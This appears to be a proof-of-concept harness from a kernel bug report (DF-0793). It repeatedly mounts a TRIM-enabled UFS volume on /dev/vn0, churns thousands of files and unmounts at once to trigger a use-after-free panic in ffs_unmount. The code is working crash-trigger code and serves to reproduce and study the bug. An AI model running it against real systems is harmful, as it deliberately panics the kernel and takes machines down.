/*
 * DF-0793 aggressive race harness.
 *
 * Tries to win the UAF race by backlogging taskqueue_swi with many
 * ffs_blkfree_trim_task entries right before umount frees fs/ump/devvp.
 *
 * Each unlinked file -> ffs_truncate -> ffs_blkfree (TRIM path) ->
 * vn_strategy(devvp, FREEBLKS) completes synchronously on vn ->
 * ffs_blkfree_trim_completed -> taskqueue_enqueue(taskqueue_swi).
 *
 * ffs_unmount (ffs_vfsops.c:824) does ffs_flushfiles -> vinvalbuf/VOP_CLOSE/
 * vrele/kfree(fs)/kfree(ump) with NO taskqueue_drain(taskqueue_swi).  If
 * umount reaches kfree(fs) before the swi taskqueue drains all the pending
 * ffs_blkfree_trim_task entries, the next task dereferences freed M_UFSMNT
 * heap / freed device vnode -> UAF panic.
 */

#include <sys/param.h>
#include <sys/mount.h>
#include <sys/ucred.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>

#ifndef MNT_TRIM
#define MNT_TRIM 0x01000000
#endif

struct ufs_args {
	char	*fspec;
	struct	export_args export;
};

#define MNTPT "/mnt/df0793"
#define DEV   "/dev/vn0"
#define NFILES 4000

static void churn(void)
{
	int i, fd;
	char path[64];
	char buf[4096];

	memset(buf, 'Z', sizeof(buf));
	/* create + write + close many small files */
	for (i = 0; i < NFILES; i++) {
		snprintf(path, sizeof(path), MNTPT "/f%d", i);
		fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0644);
		if (fd < 0) break;
		write(fd, buf, sizeof(buf));
		close(fd);
	}
	/* unlink them all in a tight burst -> backlog of ffs_blkfree TRIM tasks */
	for (i = 0; i < NFILES; i++) {
		snprintf(path, sizeof(path), MNTPT "/f%d", i);
		unlink(path);
	}
}

int main(int argc, char **argv)
{
	struct ufs_args args;
	int loops = 60;
	int force = 0;
	int i;

	if (argc > 1) loops = atoi(argv[1]);
	if (argc > 2) force = atoi(argv[2]);

	mkdir(MNTPT, 0755);

	for (i = 0; i < loops; i++) {
		memset(&args, 0, sizeof(args));
		args.fspec = __DECONST(char *, DEV);
		args.export.ex_root = -2;

		if (mount("ufs", MNTPT, MNT_TRIM, &args) != 0)
			err(1, "mount iter %d", i);

		churn();
		/* RACE: umount while swi TRIM tasks pending */
		if (unmount(MNTPT, force ? MNT_FORCE : 0) != 0) {
			if (unmount(MNTPT, MNT_FORCE) != 0)
				err(1, "unmount force iter %d", i);
		}
		if ((i % 5) == 0) {
			printf("[%d] ok\n", i);
			fflush(stdout);
		}
	}
	printf("DONE %d loops no panic\n", loops);
	return 0;
}
